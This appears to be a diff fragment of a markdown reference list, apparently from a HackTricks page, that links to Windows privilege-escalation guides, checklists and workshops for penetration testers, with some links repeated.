[https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)\\ -- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)\\ -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)\\ -- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)\\ -- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)\\ -- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\ -- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)\\ -- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\ -- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\ +- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) +- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) +- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) +- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop) +- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo) +- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html) +- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) +- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) +- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md) +- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation) +- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/) +- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation) +- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections) {{#include ../../banners/hacktricks-training.md}}